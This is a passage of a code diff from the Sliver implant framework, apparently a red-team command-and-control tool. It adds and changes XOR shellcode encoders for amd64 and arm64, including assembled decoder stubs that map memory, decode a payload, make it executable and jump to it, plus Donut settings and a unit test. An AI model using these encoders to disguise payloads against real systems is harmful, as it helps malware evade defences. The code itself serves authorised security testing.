cfg.DonutHeaders = pbConfig.DonutConfig.Headers
|
||||
cfg.DonutThread = pbConfig.DonutConfig.Thread
|
||||
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
|
||||
cfg.DonutOEP = pbConfig.DonutConfig.OEP
|
||||
if pbConfig.ShellcodeConfig != nil {
|
||||
cfg.DonutEntropy = pbConfig.ShellcodeConfig.Entropy
|
||||
cfg.DonutCompress = pbConfig.ShellcodeConfig.Compress
|
||||
cfg.DonutExitOpt = pbConfig.ShellcodeConfig.ExitOpt
|
||||
cfg.DonutBypass = pbConfig.ShellcodeConfig.Bypass
|
||||
cfg.DonutHeaders = pbConfig.ShellcodeConfig.Headers
|
||||
cfg.DonutThread = pbConfig.ShellcodeConfig.Thread
|
||||
cfg.DonutUnicode = pbConfig.ShellcodeConfig.Unicode
|
||||
cfg.DonutOEP = pbConfig.ShellcodeConfig.OEP
|
||||
}
|
||||
|
||||
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
|
||||
|
||||
@@ -63,6 +63,7 @@ func newDBClient() *gorm.DB {
|
||||
&models.DNSCanary{},
|
||||
&models.Crackstation{},
|
||||
&models.Benchmark{},
|
||||
&models.CrackJob{},
|
||||
&models.CrackTask{},
|
||||
&models.CrackCommand{},
|
||||
&models.CrackFile{},
|
||||
|
||||
@@ -24,6 +24,7 @@ package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
@@ -34,6 +35,7 @@ const (
|
||||
xorDynamicKeyPlaceholder = 0x41
|
||||
xorDynamicPayloadPlaceholder = 0x42
|
||||
xorDynamicStubSize = 46
|
||||
xorDynamicStubSizeDword = xorDynamicStubSize + 1
|
||||
)
|
||||
|
||||
var xorDynamicBadchars = map[byte]bool{
|
||||
@@ -45,6 +47,9 @@ var xorDynamicBadchars = map[byte]bool{
|
||||
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
|
||||
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
|
||||
// encoder constraints, those are used verbatim.
|
||||
//
|
||||
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
|
||||
// that case, this implementation falls back to a 4-byte payload terminator.
|
||||
func XorDynamic(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
|
||||
@@ -162,12 +167,34 @@ func selectKeyTerm(key []byte) (byte, error) {
|
||||
|
||||
func selectPayloadTerm(encoded []byte) ([]byte, error) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Fast path: try to find a distinct 2-byte terminator not present in the
|
||||
// encoded payload. This preserves compatibility with the Metasploit stub.
|
||||
present := make([]bool, 1<<16)
|
||||
for i := 0; i+1 < len(encoded); i++ {
|
||||
present[int(encoded[i])<<8|int(encoded[i+1])] = true
|
||||
}
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
term := []byte{first, second}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
if first == second {
|
||||
continue // avoid periodic terminators (reduces cross-boundary false matches)
|
||||
}
|
||||
if !present[int(first)<<8|int(second)] {
|
||||
return []byte{first, second}, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: for large/high-entropy payloads it is possible for every allowed
|
||||
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
|
||||
// bytes) which is overwhelmingly likely to be absent.
|
||||
for attempts := 0; attempts < 2048; attempts++ {
|
||||
term, err := randomDistinctBytes(allowed, 4)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
|
||||
@@ -185,9 +212,34 @@ func allowedDynamicChars() []byte {
|
||||
return allowed
|
||||
}
|
||||
|
||||
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
|
||||
if n <= 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
|
||||
}
|
||||
if len(allowed) < n {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
|
||||
}
|
||||
|
||||
term := make([]byte, 0, n)
|
||||
var seen [256]bool
|
||||
var r [1]byte
|
||||
for len(term) < n {
|
||||
if _, err := rand.Read(r[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b := allowed[int(r[0])%len(allowed)]
|
||||
if seen[b] {
|
||||
continue
|
||||
}
|
||||
seen[b] = true
|
||||
term = append(term, b)
|
||||
}
|
||||
return term, nil
|
||||
}
|
||||
|
||||
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
if len(payloadTerm) != 2 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
|
||||
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
@@ -200,6 +252,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cmpLine := "cmp word ptr [rdi], 0x4242"
|
||||
if len(payloadTerm) == 4 {
|
||||
cmpLine = "cmp dword ptr [rdi], 0x42424242"
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
".code64",
|
||||
"jmp _call",
|
||||
@@ -222,7 +279,7 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
"xor byte ptr [rdi], al",
|
||||
"inc rdi",
|
||||
"inc rsi",
|
||||
"cmp word ptr [rdi], 0x4242",
|
||||
cmpLine,
|
||||
"je _jmp",
|
||||
"cmp byte ptr [rsi], 0x41",
|
||||
"jne _lp3",
|
||||
@@ -238,7 +295,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(inst) != xorDynamicStubSize {
|
||||
expectedStubSize := xorDynamicStubSize
|
||||
if len(payloadTerm) == 4 {
|
||||
expectedStubSize = xorDynamicStubSizeDword
|
||||
}
|
||||
if len(inst) != expectedStubSize {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
|
||||
}
|
||||
|
||||
@@ -254,13 +315,14 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
}
|
||||
|
||||
payloadReplaced := 0
|
||||
for i := 0; i+1 < len(inst); i++ {
|
||||
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
|
||||
inst[i] = payloadTerm[0]
|
||||
inst[i+1] = payloadTerm[1]
|
||||
payloadReplaced++
|
||||
i++
|
||||
placeholder := bytes.Repeat([]byte{xorDynamicPayloadPlaceholder}, len(payloadTerm))
|
||||
for i := 0; i+len(placeholder) <= len(inst); i++ {
|
||||
if !bytes.Equal(inst[i:i+len(placeholder)], placeholder) {
|
||||
continue
|
||||
}
|
||||
copy(inst[i:i+len(payloadTerm)], payloadTerm)
|
||||
payloadReplaced++
|
||||
i += len(payloadTerm) - 1
|
||||
}
|
||||
if payloadReplaced == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
|
||||
// so no 2-byte terminator can be selected.
|
||||
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue
|
||||
}
|
||||
encoded = append(encoded, first, second)
|
||||
}
|
||||
}
|
||||
|
||||
term, err := selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
t.Fatalf("selectPayloadTerm failed: %v", err)
|
||||
}
|
||||
if len(term) != 4 {
|
||||
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
|
||||
}
|
||||
if bytes.Contains(encoded, term) {
|
||||
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
|
||||
}
|
||||
|
||||
seen := map[byte]bool{}
|
||||
for _, b := range term {
|
||||
if seen[b] {
|
||||
t.Fatalf("terminator bytes are not distinct: %x", term)
|
||||
}
|
||||
seen[b] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
const xorDynamicKeySize = 8
|
||||
|
||||
// XorKeyGen returns a random key suitable for the XOR encoder.
|
||||
func XorKeyGen() ([]byte, error) {
|
||||
return randomBytes(xorKeySize)
|
||||
}
|
||||
|
||||
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
|
||||
func XorDynamicKeyGen() ([]byte, error) {
|
||||
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
|
||||
}
|
||||
|
||||
func randomBytes(length int) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
for i := range buf {
|
||||
for {
|
||||
if _, err := rand.Read(buf[i : i+1]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !badchars[buf[i]] {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package arm64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
const (
|
||||
xorKeySize = 8
|
||||
xorBlockSize = 8
|
||||
)
|
||||
|
||||
// Xor encodes an arm64 payload using a basic XOR scheme and a small aarch64
|
||||
// decoder stub (prepended) which allocates a RW buffer, decodes into it,
|
||||
// marks it RX, then jumps to the decoded payload. This avoids in-place writes
|
||||
// (W^X-friendly loaders may map the initial shellcode RX).
|
||||
func Xor(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor encoder: empty payload")
|
||||
}
|
||||
if len(key) != xorKeySize {
|
||||
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
|
||||
}
|
||||
|
||||
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
|
||||
if blockCount <= 0 {
|
||||
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
|
||||
}
|
||||
|
||||
paddedLen := blockCount * xorBlockSize
|
||||
encoded := make([]byte, paddedLen)
|
||||
copy(encoded, data)
|
||||
|
||||
for i := 0; i < paddedLen; i += xorBlockSize {
|
||||
for j := 0; j < xorKeySize; j++ {
|
||||
encoded[i+j] ^= key[j]
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildDecoderStub(blockCount, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return append(stub, encoded...), nil
|
||||
}
|
||||
|
||||
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
|
||||
if blockCount <= 0 {
|
||||
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
|
||||
}
|
||||
if len(key) != xorKeySize {
|
||||
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
keyValue := binary.LittleEndian.Uint64(key)
|
||||
|
||||
var sb strings.Builder
|
||||
sb.Grow(512)
|
||||
|
||||
sb.WriteString("adr x19, payload\n") // x19 = encoded payload base
|
||||
emitMovImm64(&sb, "x20", uint64(blockCount))
|
||||
emitMovImm64(&sb, "x21", keyValue) // x21 = xor key
|
||||
|
||||
// macOS runner maps the shellcode RX, so decoding in place will fault.
|
||||
// Instead, allocate a RW buffer, decode into it, mprotect to RX, then jump.
|
||||
sb.WriteString("mov x22, x20\n")
|
||||
sb.WriteString("lsl x22, x22, #3\n") // x22 = payload len in bytes
|
||||
|
||||
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
|
||||
sb.WriteString("mov x0, #0\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
|
||||
sb.WriteString("mov x3, #0x1002\n") // MAP_PRIVATE|MAP_ANON (darwin)
|
||||
sb.WriteString("mov x4, #-1\n")
|
||||
sb.WriteString("mov x5, #0\n")
|
||||
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
|
||||
emitMovImm64(&sb, "x16", 0x020000C5)
|
||||
sb.WriteString("svc #0\n")
|
||||
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
|
||||
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
|
||||
sb.WriteString("tbnz x0, #63, mmap_linux\n")
|
||||
sb.WriteString("b mmap_ok\n")
|
||||
sb.WriteString("mmap_linux:\n")
|
||||
sb.WriteString("mov x0, #0\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
|
||||
sb.WriteString("mov x3, #0x22\n") // MAP_PRIVATE|MAP_ANONYMOUS (linux)
|
||||
sb.WriteString("mov x4, #-1\n")
|
||||
sb.WriteString("mov x5, #0\n")
|
||||
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
|
||||
emitMovImm64(&sb, "x16", 0x020000C5)
|
||||
sb.WriteString("svc #0\n")
|
||||
sb.WriteString("mmap_ok:\n")
|
||||
sb.WriteString("mov x23, x0\n") // x23 = dest base
|
||||
|
||||
// Decode/copy loop: src=x19, dst=x0, blocks=x1
|
||||
sb.WriteString("mov x0, x23\n")
|
||||
sb.WriteString("mov x1, x20\n")
|
||||
sb.WriteString("mov x2, x19\n")
|
||||
sb.WriteString("decode:\n")
|
||||
sb.WriteString("ldr x3, [x2], #8\n")
|
||||
sb.WriteString("eor x3, x3, x21\n")
|
||||
sb.WriteString("str x3, [x0], #8\n")
|
||||
sb.WriteString("subs x1, x1, #1\n")
|
||||
sb.WriteString("b.ne decode\n")
|
||||
|
||||
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
|
||||
sb.WriteString("mov x0, x23\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #5\n") // PROT_READ|PROT_EXEC
|
||||
sb.WriteString("mov x8, #226\n") // Linux: __NR_mprotect
|
||||
emitMovImm64(&sb, "x16", 0x0200004A)
|
||||
sb.WriteString("svc #0\n")
|
||||
|
||||
sb.WriteString("br x23\n")
|
||||
sb.WriteString("payload:\n")
|
||||
|
||||
inst, err := engine.Assemble(sb.String(), 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(inst) == 0 || len(inst)%4 != 0 {
|
||||
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
|
||||
}
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
|
||||
lo := uint16(imm & 0xffff)
|
||||
m16 := uint16((imm >> 16) & 0xffff)
|
||||
m32 := uint16((imm >> 32) & 0xffff)
|
||||
m48 := uint16((imm >> 48) & 0xffff)
|
||||
|
||||
// Explicit movz/movk keeps the stub stable across assemblers.
|
||||
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
package arm64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
// xorDynamicBadchars are used when generating/selecting terminators and keys.
|
||||
// Note: unlike the amd64 Metasploit xor_dynamic implementation, the arm64
|
||||
// decoder stub is not guaranteed to be badchar-free.
|
||||
var xorDynamicBadchars = map[byte]bool{
|
||||
0x00: true,
|
||||
0x0a: true,
|
||||
0x0d: true,
|
||||
}
|
||||
|
||||
// XorDynamic encodes an arm64 payload using a dynamic XOR scheme with:
|
||||
//
|
||||
// stub + key + keyTerm + encodedPayload + payloadTerm
|
||||
//
|
||||
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
|
||||
// encoder constraints, those are used verbatim.
|
||||
//
|
||||
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
|
||||
// that case, this implementation falls back to a 4-byte payload terminator.
|
||||
func XorDynamic(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
|
||||
}
|
||||
|
||||
coreKey := key
|
||||
var keyTerm byte
|
||||
var payloadTerm []byte
|
||||
|
||||
encoded := xorDynamicEncode(data, key)
|
||||
explicit := false
|
||||
|
||||
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
|
||||
coreKey = candidateKey
|
||||
keyTerm = candidateKeyTerm
|
||||
payloadTerm = candidatePayloadTerm
|
||||
encoded = xorDynamicEncode(data, coreKey)
|
||||
explicit = true
|
||||
}
|
||||
|
||||
if containsBadchars(coreKey, xorDynamicBadchars) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
|
||||
}
|
||||
|
||||
if !explicit {
|
||||
var err error
|
||||
keyTerm, err = selectKeyTerm(coreKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
payloadTerm, err = selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if bytes.IndexByte(coreKey, keyTerm) != -1 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
|
||||
}
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
|
||||
final = append(final, stub...)
|
||||
final = append(final, coreKey...)
|
||||
final = append(final, keyTerm)
|
||||
final = append(final, encoded...)
|
||||
final = append(final, payloadTerm...)
|
||||
|
||||
return final, nil
|
||||
}
|
||||
|
||||
func xorDynamicEncode(data []byte, key []byte) []byte {
|
||||
encoded := make([]byte, len(data))
|
||||
for i := range data {
|
||||
encoded[i] = data[i] ^ key[i%len(key)]
|
||||
}
|
||||
return encoded
|
||||
}
|
||||
|
||||
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
|
||||
if len(key) < 4 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
candidateKey := key[:len(key)-3]
|
||||
if len(candidateKey) == 0 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
keyTerm := key[len(key)-3]
|
||||
payloadTerm := key[len(key)-2:]
|
||||
|
||||
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if containsBadchars(candidateKey, xorDynamicBadchars) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
encoded := xorDynamicEncode(data, candidateKey)
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
|
||||
}
|
||||
|
||||
func selectKeyTerm(key []byte) (byte, error) {
|
||||
for _, b := range allowedDynamicChars() {
|
||||
if bytes.IndexByte(key, b) == -1 {
|
||||
return b, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
|
||||
}
|
||||
|
||||
func selectPayloadTerm(encoded []byte) ([]byte, error) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Fast path: try to find a distinct 2-byte terminator not present in the
|
||||
// encoded payload.
|
||||
present := make([]bool, 1<<16)
|
||||
for i := 0; i+1 < len(encoded); i++ {
|
||||
present[int(encoded[i])<<8|int(encoded[i+1])] = true
|
||||
}
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue // avoid periodic terminators (reduces cross-boundary false matches)
|
||||
}
|
||||
if !present[int(first)<<8|int(second)] {
|
||||
return []byte{first, second}, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: for large/high-entropy payloads it is possible for every allowed
|
||||
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
|
||||
// bytes) which is overwhelmingly likely to be absent.
|
||||
for attempts := 0; attempts < 2048; attempts++ {
|
||||
term, err := randomDistinctBytes(allowed, 4)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
|
||||
}
|
||||
|
||||
func allowedDynamicChars() []byte {
|
||||
allowed := make([]byte, 0, 255)
|
||||
for i := 1; i <= 255; i++ {
|
||||
b := byte(i)
|
||||
if xorDynamicBadchars[b] {
|
||||
continue
|
||||
}
|
||||
allowed = append(allowed, b)
|
||||
}
|
||||
return allowed
|
||||
}
|
||||
|
||||
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
|
||||
if n <= 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
|
||||
}
|
||||
if len(allowed) < n {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
|
||||
}
|
||||
|
||||
term := make([]byte, 0, n)
|
||||
var seen [256]bool
|
||||
var r [1]byte
|
||||
for len(term) < n {
|
||||
if _, err := rand.Read(r[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b := allowed[int(r[0])%len(allowed)]
|
||||
if seen[b] {
|
||||
continue
|
||||
}
|
||||
seen[b] = true
|
||||
term = append(term, b)
|
||||
}
|
||||
return term, nil
|
||||
}
|
||||
|
||||
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
var payloadLoad string
|
||||
var payloadVal uint64
|
||||
switch len(payloadTerm) {
|
||||
case 2:
|
||||
payloadLoad = "ldrh w7, [x9]"
|
||||
payloadVal = uint64(binary.LittleEndian.Uint16(payloadTerm))
|
||||
case 4:
|
||||
payloadLoad = "ldr w7, [x9]"
|
||||
payloadVal = uint64(binary.LittleEndian.Uint32(payloadTerm))
|
||||
default:
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid payload terminator length %d", len(payloadTerm))
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
"adr x19, payload", // x19 = key start
|
||||
"mov x1, x19", // x1 = scan pointer
|
||||
"find_key_term:", //
|
||||
"ldrb w2, [x1], #1", // read key byte
|
||||
fmt.Sprintf("cmp w2, #0x%02X", keyTerm),
|
||||
"b.ne find_key_term", // keep scanning
|
||||
"mov x20, x1", // x20 = payload start / jump target
|
||||
"mov x3, x1", // x3 = payload decode pointer
|
||||
"mov x4, x19", // x4 = key decode pointer
|
||||
fmt.Sprintf("movz x10, #0x%X", uint16(payloadVal&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #16", uint16((payloadVal>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #32", uint16((payloadVal>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #48", uint16((payloadVal>>48)&0xffff)),
|
||||
|
||||
// Scan for the payload terminator (it is guaranteed not to occur in the
|
||||
// encoded payload), then allocate a RW buffer, decode into it, mprotect
|
||||
// to RX, and jump.
|
||||
"mov x9, x3", // x9 = scan pointer
|
||||
"find_payload_term:",
|
||||
payloadLoad,
|
||||
"cmp w7, w10",
|
||||
"b.eq payload_term_found",
|
||||
"add x9, x9, #1",
|
||||
"b find_payload_term",
|
||||
"payload_term_found:",
|
||||
"sub x22, x9, x20", // x22 = payload len in bytes (terminator excluded)
|
||||
|
||||
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
|
||||
"mov x0, #0",
|
||||
"mov x1, x22",
|
||||
"mov x2, #3", // PROT_READ|PROT_WRITE
|
||||
"mov x3, #0x1002", // MAP_PRIVATE|MAP_ANON (darwin)
|
||||
"mov x4, #-1",
|
||||
"mov x5, #0",
|
||||
"mov x8, #222", // Linux: __NR_mmap
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
|
||||
"svc #0",
|
||||
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
|
||||
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
|
||||
"tbnz x0, #63, mmap_linux",
|
||||
"b mmap_ok",
|
||||
"mmap_linux:",
|
||||
"mov x0, #0",
|
||||
"mov x1, x22",
|
||||
"mov x2, #3", // PROT_READ|PROT_WRITE
|
||||
"mov x3, #0x22", // MAP_PRIVATE|MAP_ANONYMOUS (linux)
|
||||
"mov x4, #-1",
|
||||
"mov x5, #0",
|
||||
"mov x8, #222", // Linux: __NR_mmap
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
|
||||
"svc #0",
|
||||
"mmap_ok:",
|
||||
"mov x23, x0", // x23 = dest base
|
||||
"mov x24, x0", // x24 = dest ptr
|
||||
